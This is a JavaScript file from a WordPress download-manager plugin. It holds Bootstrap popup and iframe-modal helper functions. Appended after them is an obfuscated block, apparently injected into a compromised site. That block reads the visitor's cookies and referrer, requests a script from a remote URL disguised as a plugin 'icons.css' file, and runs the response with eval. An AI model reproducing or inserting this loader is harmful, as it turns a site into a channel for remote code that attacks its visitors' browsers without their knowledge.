$.each(buttons, function (i, button) {
var id = 'btx_' + i;
_buttons += "<button id='" + id + "' class='" + button.class + " btn-xs' style='font-size: 10px;padding: 3px 20px;'>" + button.label + "</button> ";
});
_buttons += '</div>\n';
html = '<div class="w3eden" id="w3eden__boot_popup"><div id="__boot_popup" style="z-index: 9999999 !important;" class="modal fade" tabindex="-1" role="dialog">\n' +
' <div class="modal-dialog" role="document" style="max-width: 100%;width: 350px">\n' +
' <div class="modal-content">\n' +
' <div class="modal-header">\n' +
' <h4 class="modal-title" style="font-size: 11pt;font-weight: 500;padding: 0;margin: 0;letter-spacing: 0.5px">' + heading + '</h4>\n' +
' </div>\n' +
' <div class="modal-body text-center" style="letter-spacing: 0.5px;font-size: 9pt;font-weight: 300;padding: 25px;">\n' +
' ' + content + '\n' +
' </div>\n' + _buttons +
' </div>\n' +
' </div>\n' +
'</div></div>';
$('body').append(html);
$("#__boot_popup").modal('show');
$.each(buttons, function (i, button) {
var id = 'btx_' + i;
$('#' + id).unbind('click');
$('#' + id).bind('click', function () {
button.callback.call($("#__boot_popup"));
return false;
});
});
return $("#__boot_popup");
}
/**
* Open an url in iframe modal
* @param url
* @param closebutton
* @returns {boolean}
*/
function wpdm_iframe_modal(url, closebutton) {
var iframe, $ = jQuery;
if (url === 'close') {
$('#wpdm_iframe_modal').hide();
$('#ifcb').hide();
$('body').removeClass('wpdm-iframe-modal-open');
return false;
}
console.log($('#wpdm_iframe_modal').attr('src'));
if ($('#wpdm_iframe_modal').length === 1 && url === $('#wpdm_iframe_modal').attr('src')) {
$('#wpdm_iframe_modal').fadeIn();
$('#ifcb').fadeIn();
try {
document.getElementById('wpdm_iframe_modal').contentWindow.showModal();
} catch (e) {
}
return false;
} else {
$('#wpdm_iframe_modal').remove();
$('#ifcb').remove();
}
var closebutton_html = "";
if (closebutton !== undefined && closebutton === true)
closebutton_html = "<span id='ifcb' class='w3eden'><a href='#' onclick='return wpdm_iframe_modal(\"close\");' style='border-radius: 0;position: fixed;top: 0;right: 0;z-index: 9999999999 !important;width: 40px;line-height: 40px;padding: 0' class='btn btn-danger'><i class='fas fa-times'></i></a></span>";
iframe = '<iframe src="' + url + '" style="width: 100%;height: 100%;position: fixed;z-index: 999999999 !important;border: 0;left: 0;top: 0;right: 0;bottom: 0;background: rgba(0,0,0,0.2);display: none;" id="wpdm_iframe_modal"></iframe>' + closebutton_html;
$('body').append(iframe).addClass('wpdm-iframe-modal-open');
$('#wpdm_iframe_modal').fadeIn();
}
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//www.onea-cemeau.com/wp-content/plugins/download-manager/assets/images/icons/icons.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};